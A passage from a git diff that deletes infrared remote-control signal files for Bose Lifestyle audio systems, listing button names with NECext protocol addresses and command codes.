-type: parsed -protocol: NECext -address: BA B0 00 00 -command: 56 00 00 00 -# -name: SEEK/SCAN_<< -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 57 00 00 00 -# -name: SEEK/SCAN_>> -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 58 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 5C 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 60 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 63 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 64 00 00 00 -# -name: SIMILAR_(ENCORE) -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 65 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 66 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 67 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 68 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 69 00 00 00 -# -name: SYSTEM -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 70 00 00 00 -# -name: SETTINGS -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 80 00 00 00 -# -name: POWER_ON_ASSERT -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 8C 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 90 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 9D 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 9F 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: BA B0 00 00 -command: A0 00 00 00 -# -name: LIBRARY -type: parsed -protocol: NECext -address: BA B0 00 00 -command: B0 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA B0 00 00 -command: B3 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: BA B0 00 00 -command: C0 00 00 00 -# -name: POWER_OFF_ASSERT -type: parsed -protocol: NECext -address: BA B0 00 00 -command: CC 00 00 00 -# -name: MUTE_ALL_ASSERT -type: parsed -protocol: NECext -address: BA B0 00 00 -command: CD 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: BA B0 00 00 -command: D0 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: BA B0 00 00 -command: E0 00 00 00 -# -name: LOCAL_SOURCE -type: parsed -protocol: NECext -address: BA B0 00 00 -command: F4 00 00 00 -# -name: MUTE_ASSERT -type: parsed -protocol: NECext -address: BA B0 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,177.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,177.ir deleted file mode 100644 index ddfc625c9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,177.ir +++ /dev/null @@ -1,578 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 01 00 00 00 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 01 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 02 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 03 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 03 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 06 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 06 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 0D 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 0D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 0E 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 0F 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 0F 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 15 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 15 00 00 00 -# -name: TRACK/CH./PRE._DOWN -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 18 00 00 00 -# -name: TCPC_UP -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 19 00 00 00 -# -name: TRACK/CH./PRE._UP -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 1A 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 1A 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 20 00 00 00 -# -name: FM_ASSERT -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 25 00 00 00 -# -name: AM_ASSERT -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 28 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 30 00 00 00 -# -name: PAUSE_ASSERT -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 36 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 40 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 41 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 42 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 43 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 44 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 46 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 47 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 48 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 49 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 49 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 4C 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 4D 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 4D 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 53 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 55 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 55 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 56 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 56 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 57 00 00 00 -# -name: SEEK/SCAN_<< -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 57 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 58 00 00 00 -# -name: SEEK/SCAN_>> -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 58 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 5C 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 5C 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 60 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 63 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 63 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 64 00 00 00 -# -name: ENCORE -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 65 00 00 00 -# -name: SIMILAR_(ENCORE) -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 65 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 66 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 66 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 67 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 67 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 68 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 68 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 69 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 69 00 00 00 -# -name: SYSTEM -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 70 00 00 00 -# -name: SETTINGS -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 80 00 00 00 -# -name: POWER_ON_ASSERT -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 8C 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 90 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 9D 00 00 00 -# -name: TCPC_DOWN -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 9D 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 9D 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 9F 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA B1 00 00 -command: 9F 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: BA B1 00 00 -command: A0 00 00 00 -# -name: LIBRARY -type: parsed -protocol: NECext -address: BA B1 00 00 -command: B0 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA B1 00 00 -command: B3 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA B1 00 00 -command: B3 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: BA B1 00 00 -command: C0 00 00 00 -# -name: POWER_OFF_ASSERT -type: parsed -protocol: NECext -address: BA B1 00 00 -command: CC 00 00 00 -# -name: MUTE_ALL_ASSERT -type: parsed -protocol: NECext -address: BA B1 00 00 -command: CD 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: BA B1 00 00 -command: D0 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: BA B1 00 00 -command: E0 00 00 00 -# -name: LOCAL_SOURCE -type: parsed -protocol: NECext -address: BA B1 00 00 -command: F4 00 00 00 -# -name: MUTE_ASSERT -type: parsed -protocol: NECext -address: BA B1 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,178.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,178.ir deleted file mode 100644 index 60fefa9a5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,178.ir +++ /dev/null @@ -1,584 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 01 00 00 00 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 01 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 02 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 03 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 03 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 06 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 06 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 0D 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 0D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 0E 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 0F 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 0F 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 15 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 15 00 00 00 -# -name: TCPC_DOWN -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 18 00 00 00 -# -name: TRACK/CH./PRE._DOWN -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 18 00 00 00 -# -name: TCPC_UP -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 19 00 00 00 -# -name: TRACK/CH./PRE._UP -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 1A 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 1A 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 20 00 00 00 -# -name: FM_ASSERT -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 25 00 00 00 -# -name: AM_ASSERT -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 28 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 30 00 00 00 -# -name: PAUSE_ASSERT -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 36 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 40 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 41 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 42 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 43 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 44 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 45 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 46 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 48 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 49 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 49 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 4C 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 4D 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 4D 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 53 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 55 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 55 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 56 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 56 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 57 00 00 00 -# -name: SEEK/SCAN_<< -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 57 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 58 00 00 00 -# -name: SEEK/SCAN_>> -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 58 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 5C 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 5C 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 60 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 63 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 63 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 64 00 00 00 -# -name: ENCORE -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 65 00 00 00 -# -name: SIMILAR_(ENCORE) -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 65 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 66 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 66 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 67 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 67 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 68 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 68 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 69 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 69 00 00 00 -# -name: SYSTEM -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 70 00 00 00 -# -name: SETTINGS -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 80 00 00 00 -# -name: POWER_ON_ASSERT -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 8C 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 90 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 9D 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 9D 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 9F 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA B2 00 00 -command: 9F 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: BA B2 00 00 -command: A0 00 00 00 -# -name: LIBRARY -type: parsed -protocol: NECext -address: BA B2 00 00 -command: B0 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA B2 00 00 -command: B3 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA B2 00 00 -command: B3 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: BA B2 00 00 -command: C0 00 00 00 -# -name: POWER_OFF_ASSERT -type: parsed -protocol: NECext -address: BA B2 00 00 -command: CC 00 00 00 -# -name: MUTE_ALL_ASSERT -type: parsed -protocol: NECext -address: BA B2 00 00 -command: CD 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: BA B2 00 00 -command: D0 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: BA B2 00 00 -command: E0 00 00 00 -# -name: LOCAL_SOURCE_2 -type: parsed -protocol: NECext -address: BA B2 00 00 -command: F4 00 00 00 -# -name: LOCAL_SOURCE -type: parsed -protocol: NECext -address: BA B2 00 00 -command: F4 00 00 00 -# -name: MUTE_ASSERT -type: parsed -protocol: NECext -address: BA B2 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,179.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,179.ir deleted file mode 100644 index 99f8234df..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,179.ir +++ /dev/null @@ -1,572 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 01 00 00 00 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 01 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 02 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 03 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 03 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 06 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 06 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 0D 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 0D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 0F 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 0F 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 15 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 15 00 00 00 -# -name: TCPC_DOWN -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 18 00 00 00 -# -name: TRACK/CH./PRE._DOWN -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 18 00 00 00 -# -name: TCPC_UP -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 19 00 00 00 -# -name: TRACK/CH./PRE._UP -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 1A 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 1A 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 20 00 00 00 -# -name: FM_ASSERT -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 25 00 00 00 -# -name: AM_ASSERT -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 28 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 30 00 00 00 -# -name: PAUSE_ASSERT -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 36 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 40 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 41 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 42 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 43 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 44 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 45 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 46 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 47 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 48 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 49 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 49 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 4C 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 4D 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 4D 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 53 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 55 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 55 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 56 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 56 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 57 00 00 00 -# -name: SEEK/SCAN_<< -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 57 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 58 00 00 00 -# -name: SEEK/SCAN_>> -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 58 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 5C 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 5C 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 60 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 63 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 63 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: BA B3 00 00 -command: 64 00 00 00 -# -name: ENCORE -type: parsed -protocol: NECext -address: BA B3 00 00 